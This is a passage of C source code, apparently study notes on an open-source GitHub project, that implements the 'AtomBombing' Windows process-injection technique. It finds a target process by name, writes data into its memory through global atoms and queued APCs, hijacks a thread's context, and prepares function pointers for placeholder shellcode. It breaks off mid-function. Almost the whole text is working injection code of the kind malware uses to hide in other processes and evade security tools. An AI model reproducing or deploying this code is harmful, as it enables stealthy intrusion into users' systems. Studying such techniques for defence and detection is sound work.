AtomBombing

// Github 上开源项目 阅读笔记
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>


#define SHELLCODE ("haha")
#define RTL_MAXIMUM_ATOM_LENGTH (255)
#define SHELLCODE_FUNCTION_POINTERS_OFFSET (25)

#define X86_RET ('\xc3')

#define TEXT_SECTION (".text")
#define DATA_SECTION (".data")

#define NTDLL ("ntdll.dll")
#define KERNEL32 ("kernel32.dll")
#define NTSETCONTEXTTHREAD ("NtSetContextThread")
#define NTWAITFORSINGLEOBJECT ("NtWaitForSingleObject")
#define MEMCPY ("memcpy")
#define GETPROCADDRESS ("GetProcAddress")
#define LOADLIBRARYA ("LoadLibraryA")
#define GLOBALGETATOMNAMEW ("GlobalGetAtomNameW")
#define NTQUEUEAPCTHREAD ("NtQueueApcThread")
#define WAITFORSINGLEOBJECTEX ("WaitForSingleObjectEx")


typedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2
    );

typedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle,
    PKNORMAL_ROUTINE ApcRoutine,
    PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2
    );

typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    DWORD ProcessInformationLength,
    PDWORD ReturnLength
    );

#pragma pack(push, 1)
typedef struct _FUNCTIONPOINTERS
{
    void *pfnLoadLibraryA;
    void *pfnGetProcAddress;
} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;
#pragma pack(pop)

typedef enum _ESTATUS
{
    ESTATUS_INVALID = -1,
    ESTATUS_SUCCESS = 0,

    ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100,

    ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED,

    ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED,

    ESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR,

    ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR,

    ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR,
    ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR,
    ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND,

    ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED,

    ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,
    ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,

    ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,
    ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,
    ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED,

    ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL,

    ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND,

    ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED,
    ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED,
    ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED,

    ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND,

    ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED,

    ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED,
    ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND,

    ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED,
    ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED,

    ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED,
    ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED,
    ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH,

    ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED,

    ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED,
    ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED,

    ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED,

    ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED,
    ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED,
    ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED,
    ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED,
    ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED,

} ESTATUS, *PESTATUS;

#define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus)

ESTATUS GetFunctionAddressFromDll(
    PSTR pszDllName,
    PSTR pszFunctionName,
    PVOID *ppvFunctionAddress
)
{
    HMODULE hModule = NULL;
    PVOID    pvFunctionAddress = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;

    hModule = GetModuleHandleA(pszDllName);
    if (NULL == hModule)
    {
        eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED;
        goto lblCleanup;
    }

    pvFunctionAddress = GetProcAddress(hModule, pszFunctionName);
    if (NULL == pvFunctionAddress)
    {
        eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED;
        goto lblCleanup;
    }

    *ppvFunctionAddress = pvFunctionAddress;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_WasAtomWrittenSuccessfully(
    ATOM tAtom,
    PWSTR pswzExpectedBuffer,
    PBOOL pbWasAtomWrittenSuccessfully
)
{
    LPWSTR pswzCheckBuffer = NULL;
    DWORD cbCheckBuffer = 0;
    ESTATUS eReturn = ESTATUS_INVALID;
    UINT uiRet = 0;
    HMODULE hUser32 = NULL;
    BOOL bWasAtomWrittenSuccessfully = FALSE;

    // If user32.dll is not loaded, the ATOM functions return access denied.For more details see :
    // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
    hUser32 = LoadLibrary(L"user32.dll");
    if (NULL == hUser32)
    {
        goto lblCleanup;
    }

    cbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR);

    pswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer);
    if (NULL == pswzCheckBuffer)
    {
        printf("HeapAlloc failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
        eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED;
        goto lblCleanup;
    }

    uiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer);
    if (0 == uiRet)
    {
        printf("GlobalGetAtomNameA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
        eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED;
        goto lblCleanup;
    }

    bWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer));

    eReturn = ESTATUS_SUCCESS;
    *pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully;

lblCleanup:
    if (NULL != pswzCheckBuffer)
    {
        HeapFree(GetProcessHeap(), 0, pswzCheckBuffer);
        pswzCheckBuffer = NULL;
    }
    return eReturn;
}

ESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom)
{
    ATOM tAtom = 0;
    ESTATUS eReturn = ESTATUS_INVALID;
    LPWSTR pswzCheckBuffer = NULL;
    DWORD cbCheckBuffer = 0;
    UINT uiRet = 0;
    HMODULE hUser32 = NULL;
    BOOL bWasAtomWrittenSuccessfully = FALSE;

    // If user32.dll is not loaded, the ATOM functions return access denied. For more details see :
    // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
    hUser32 = LoadLibrary(L"user32.dll");

    do
    {
        tAtom = GlobalAddAtomW(pswzBuffer);
        if (0 == tAtom)
        {
            printf("GlobalAddAtomA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
            eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED;
            goto lblCleanup;
        }

        eReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully);
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

        if (FALSE != bWasAtomWrittenSuccessfully)
        {
            break;
        }

        for (int i = 0; i < 0x2; i++)
        {
            SetLastError(ERROR_SUCCESS);
            GlobalDeleteAtom(tAtom);
            if (ERROR_SUCCESS != GetLastError())
            {
                eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED;
                goto lblCleanup;
            }
        }
    } while (FALSE == bWasAtomWrittenSuccessfully);


    eReturn = ESTATUS_SUCCESS;
    *ptAtom = tAtom;

lblCleanup:
    return eReturn;

}

ESTATUS main_NtQueueApcThreadWrapper(
    HANDLE hThread,
    PKNORMAL_ROUTINE pfnApcRoutine,
    PVOID pvArg1,
    PVOID pvArg2,
    PVOID pvArg3
)
{
    HMODULE hNtDll = NULL;
    HMODULE hKernel32 = NULL;
    HMODULE hUser32 = NULL;
    _NtQueueApcThread NtQueueApcThread = NULL;
    NTSTATUS ntStatus = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;

    // If user32.dll is not loaded, the ATOM functions return access denied. For more details see:
    // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
    hUser32 = LoadLibrary(L"user32.dll");
    hKernel32 = GetModuleHandle(L"kernel32.dll");
    hNtDll = GetModuleHandle(L"ntdll.dll");

    eReturn = GetFunctionAddressFromDll(
        NTDLL,
        NTQUEUEAPCTHREAD,
        (PVOID *)&NtQueueApcThread
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    ntStatus = NtQueueApcThread(
        hThread,
        pfnApcRoutine,
        pvArg1,
        pvArg2,
        pvArg3
    );
    if (0 != ntStatus)
    {
        printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus);
        eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:

    return eReturn;
}

ESTATUS main_NtQueueApcThreadWaitForSingleObjectEx(
    HANDLE hRemoteThread,
    HANDLE hWaitHandle,
    DWORD dwWaitMilliseconds,
    BOOL bWaitAlertable
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    PKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL;

    eReturn = GetFunctionAddressFromDll(
        KERNEL32,
        WAITFORSINGLEOBJECTEX,
        (PVOID *)&pfnWaitForSingleObjectEx
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = main_NtQueueApcThreadWrapper(
        hRemoteThread,
        pfnWaitForSingleObjectEx,
        hWaitHandle,
        (PVOID)dwWaitMilliseconds,
        (PVOID)bWaitAlertable
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:

    return eReturn;
}

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(
    HANDLE hThread,
    PAPCFUNC pfnAPC,
    ULONG_PTR dwData
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    DWORD dwErr = FALSE;

    dwErr = SuspendThread(hThread);
    if (((DWORD)-1) == dwErr)
    {
        eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;
        printf("SuspendThread failed. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    dwErr = QueueUserAPC(pfnAPC, hThread, dwData);
    if (0 == dwErr)
    {
        eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED;
        printf("SuspendThread failed. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
        hThread,
        GetCurrentThread(),
        5000,
        TRUE
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    dwErr = ResumeThread(hThread);
    if (((DWORD)-1) == dwErr)
    {
        printf("ResumeThread failed. GLE: %d.", GetLastError());
        eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable(
    HANDLE hThread,
    PKNORMAL_ROUTINE pfnApcRoutine,
    PVOID pvArg1,
    PVOID pvArg2,
    PVOID pvArg3
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    DWORD dwErr = FALSE;

    dwErr = SuspendThread(hThread);
    if (((DWORD)-1) == dwErr)
    {
        eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;
        printf("SuspendThread failed. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    eReturn = main_NtQueueApcThreadWrapper(
        hThread,
        pfnApcRoutine,
        pvArg1,
        pvArg2,
        pvArg3
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
        hThread,
        GetCurrentThread(),
        5000,
        TRUE
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    dwErr = ResumeThread(hThread);
    if (((DWORD)-1) == dwErr)
    {
        printf("ResumeThread failed. GLE: %d.", GetLastError());
        eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle)
{
    ESTATUS eReturn = ESTATUS_INVALID;

    eReturn = main_QueueUserApcWrapperAndKeepAlertable(
        hThread,
        (PAPCFUNC)SetEvent,
        (ULONG_PTR)hRemoteHandle
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)
{
    PKNORMAL_ROUTINE pfnSetThreadContext = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;

    eReturn = GetFunctionAddressFromDll(
        NTDLL,
        NTSETCONTEXTTHREAD,
        (PVOID *)&pfnSetThreadContext
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }


    eReturn = main_NtQueueApcThreadWrapper(
        hThread,
        pfnSetThreadContext,
        GetCurrentThread(),
        (PVOID)ptContext,
        (PVOID)NULL
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:

    return eReturn;
}

ESTATUS main_DoesStringContainNullTerminatorW(
    PVOID pvBuffer,
    DWORD dwBufferSize,
    PBOOL pbDoesStringContainUnicodeNullTerminator
)
{
    PWCHAR pwcPos = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;

    pwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL);
    if (0 == pwcPos)
    {
        eReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED;
        goto lblCleanup;
    }

    if ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR) - 1))
    {
        *pbDoesStringContainUnicodeNullTerminator = FALSE;
    }
    else
    {
        *pbDoesStringContainUnicodeNullTerminator = TRUE;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal(
    HANDLE hThread,
    PVOID pvBaseAddress,
    PVOID pvBuffer,
    DWORD dwBufferSize
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    DWORD dwIndex = 0;
    HMODULE hKernel32 = NULL;
    PKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL;
    BOOL bDoesStringContainUnicodeNullTerminator = FALSE;


    hKernel32 = GetModuleHandle(L"kernel32.dll");
    eReturn = GetFunctionAddressFromDll(
        KERNEL32,
        GLOBALGETATOMNAMEW,
        (PVOID *)&pfnGlobalGetAtomNameW
    );

    eReturn = main_DoesStringContainNullTerminatorW(
        pvBuffer,
        dwBufferSize,
        &bDoesStringContainUnicodeNullTerminator
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }
    if (FALSE != bDoesStringContainUnicodeNullTerminator)
    {
        eReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL;
        goto lblCleanup;
    }

    for (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH) * sizeof(WCHAR))
    {
        ATOM tAtom = 0;
        CHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 };
        DWORD cbBlockSize = 0;

        if ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR)))
        {
            cbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex);
        }
        else
        {
            cbBlockSize = sizeof(acBuffer) - sizeof(WCHAR);
        }

        (VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize);

        eReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom);
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

        eReturn = main_NtQueueApcThreadWrapperAndKeepAlertable(
            hThread,
            pfnGlobalGetAtomNameW,
            (PVOID)tAtom,
            ((PUCHAR)pvBaseAddress) + dwIndex,
            (PVOID)(cbBlockSize + sizeof(WCHAR))
        );
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:

    return eReturn;
}

ESTATUS main_IsProcessMemoryEqual(
    HANDLE hProcess,
    PVOID pvRemoteAddress,
    PVOID pvExpectedBuffer,
    DWORD cbExpectedBufferSize,
    PBOOL pbIsMemoryEqual
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    PVOID pvTempBuffer = NULL;
    DWORD dwNumberOfBytesRead = 0;
    BOOL bErr = FALSE;
    BOOL bIsMemoryEqual = FALSE;

    pvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize);
    if (NULL == pvTempBuffer)
    {
        eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED;
        goto lblCleanup;
    }

    bErr = ReadProcessMemory(
        hProcess,
        pvRemoteAddress,
        pvTempBuffer,
        cbExpectedBufferSize,
        &dwNumberOfBytesRead
    );
    if (FALSE == bErr)
    {
        eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED;
        printf("ReadProcessMemory error. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    if (dwNumberOfBytesRead != cbExpectedBufferSize)
    {
        eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH;
        goto lblCleanup;
    }

    if (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize))
    {
        bIsMemoryEqual = TRUE;
    }

    eReturn = ESTATUS_SUCCESS;
    *pbIsMemoryEqual = bIsMemoryEqual;

lblCleanup:
    if (NULL != pvTempBuffer)
    {
        HeapFree(GetProcessHeap(), 0, pvTempBuffer);
        pvTempBuffer = NULL;
    }

    return eReturn;

}

ESTATUS main_ApcWriteProcessMemoryNullTerminated(
    HANDLE hProcess,
    HANDLE hThread,
    PVOID pvBaseAddress,
    PVOID pvBuffer,
    DWORD dwBufferSize
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    BOOL bShouldStop = FALSE;

    do
    {
        eReturn = main_ApcWriteProcessMemoryNullTerminatedInternal(
            hThread,
            pvBaseAddress,
            pvBuffer,
            dwBufferSize
        );
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

        Sleep(100);

        eReturn = main_IsProcessMemoryEqual(
            hProcess,
            pvBaseAddress,
            pvBuffer,
            dwBufferSize,
            &bShouldStop
        );
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

        if (FALSE == bShouldStop)
        {
            printf("[*] Data chunk written incorrectly, retrying...\n\n\n");
        }

    } while (FALSE == bShouldStop);

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_ApcWriteProcessMemoryInternal(
    HANDLE hProcess,
    HANDLE hThread,
    PVOID pvBaseAddress,
    PVOID pvBuffer,
    DWORD dwBufferSize
)
{
    PWCHAR pwcPos = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;
    PVOID pvTempBuffer = NULL;
    PVOID pvLocalBufferPointer = pvBuffer;
    PVOID pvRemoteBufferPointer = pvBaseAddress;
    DWORD dwBytesWritten = 0;

    while (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize)
    {
        DWORD cbTempBufferSize = 0;

        pwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s(
            (LPWSTR)pvLocalBufferPointer,
            (dwBufferSize - dwBytesWritten) / sizeof(WCHAR)
        );
        if (0 == pwcPos)
        {
            goto lblCleanup;
        }
        if (pvLocalBufferPointer == pwcPos)
        {
            pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL);
            pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL);
            dwBytesWritten += sizeof(UNICODE_NULL);
            continue;
        }

        cbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer;

        pvTempBuffer = HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            cbTempBufferSize + sizeof(UNICODE_NULL)
        );
        if (NULL == pvTempBuffer)
        {
            goto lblCleanup;
        }

        memcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize);

        eReturn = main_ApcWriteProcessMemoryNullTerminated(
            hProcess,
            hThread,
            pvRemoteBufferPointer,
            pvTempBuffer,
            cbTempBufferSize + sizeof(UNICODE_NULL)
        );
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }
        pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize;
        pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize;
        dwBytesWritten += cbTempBufferSize;

        if (NULL != pvTempBuffer)
        {
            HeapFree(GetProcessHeap(), 0, pvTempBuffer);
            pvTempBuffer = NULL;

        }
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    if (NULL != pvTempBuffer)
    {
        HeapFree(GetProcessHeap(), 0, pvTempBuffer);
        pvTempBuffer = NULL;
    }

    return eReturn;


}

ESTATUS main_ApcWriteProcessMemory(
    HANDLE hProcess,
    HANDLE hThread,
    PVOID pvBaseAddress,
    PVOID pvBuffer,
    DWORD dwBufferSize
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    BOOL bShouldStop = FALSE;

    do
    {
        eReturn = main_ApcWriteProcessMemoryInternal(
            hProcess,
            hThread,
            pvBaseAddress,
            pvBuffer,
            dwBufferSize
        );
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

        Sleep(100);

        eReturn = main_IsProcessMemoryEqual(
            hProcess,
            pvBaseAddress,
            pvBuffer,
            dwBufferSize,
            &bShouldStop
        );
        if (ESTATUS_FAILED(eReturn))
        {
            goto lblCleanup;
        }

        if (bShouldStop)
        {
            printf("[*] New verification: Data chunk written successfully.\n\n\n");
            break;
        }

        printf("[*] New Verification: Data written incorrectly, retrying...\n\n\n");

    } while (TRUE);

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;
}

ESTATUS main_ApcSetThreadContext(
    HANDLE hProcess,
    HANDLE hThread,
    PCONTEXT ptContext,
    PVOID pvRemoteAddress
)
{
    ESTATUS eReturn = ESTATUS_INVALID;

    eReturn = main_ApcWriteProcessMemory(
        hProcess,
        hThread,
        (PVOID)((PUCHAR)pvRemoteAddress),
        ptContext,
        FIELD_OFFSET(CONTEXT, ExtendedRegisters)
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress));
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;

}

ESTATUS main_ApcCopyFunctionPointers(
    HANDLE hProcess,
    HANDLE hThread,
    PVOID pvRemoteAddress
)
{
    ESTATUS eReturn = ESTATUS_INVALID;
    FUNCTIONPOINTERS tFunctionPointers = { 0 };

    eReturn = GetFunctionAddressFromDll(
        KERNEL32,
        LOADLIBRARYA,
        &tFunctionPointers.pfnLoadLibraryA
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = GetFunctionAddressFromDll(
        KERNEL32,
        GETPROCADDRESS,
        &tFunctionPointers.pfnGetProcAddress
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = main_ApcWriteProcessMemory(
        hProcess,
        hThread,
        pvRemoteAddress,
        &tFunctionPointers,
        sizeof(tFunctionPointers)
    );
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    return eReturn;

}

ESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
{
    DWORD dwProcessId = 0;
    HANDLE hSnapshot = NULL;
    PROCESSENTRY32 pe = { 0 };
    ESTATUS eReturn = ESTATUS_INVALID;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (NULL == hSnapshot)
    {
        eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR;
        printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    pe.dwSize = sizeof(PROCESSENTRY32);
    if (FALSE == Process32First(hSnapshot, &pe))
    {
        eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR;
        printf("Process32First error. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    do
    {
        if (NULL != wcsstr(pe.szExeFile, pszProcessName))
        {
            dwProcessId = pe.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapshot, &pe));

    if (0 == dwProcessId)
    {
        printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
        eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND;
        goto lblCleanup;
    }

    printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
    *pdwProcessId = dwProcessId;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:
    if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
    {
        CloseHandle(hSnapshot);
        hSnapshot = NULL;
    }
    return eReturn;

}

ESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess)
{
    HANDLE hProcess = NULL;
    ESTATUS eReturn = ESTATUS_INVALID;
    DWORD dwPid = 0;

    eReturn = main_GetProcessIdByName(pszProcessName, &dwPid);
    if (ESTATUS_FAILED(eReturn))
    {
        goto lblCleanup;
    }

    hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        dwPid
    );
    if (NULL == hProcess)
    {
        eReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR;
        printf("OpenProcess error. GLE: %d.", GetLastError());
        goto lblCleanup;
    }

    printf("[*] Opened process's handle: %d (0x%X).\n\n\n", hProcess, hProcess);
    *phProcess = hProcess;
    eReturn = ESTATUS_SUCCESS;

lblCleanup:

    return eReturn;
}

ESTATUS main_GetSectionHeader(
    HMODULE hModule,
    PSTR pszSectionName,
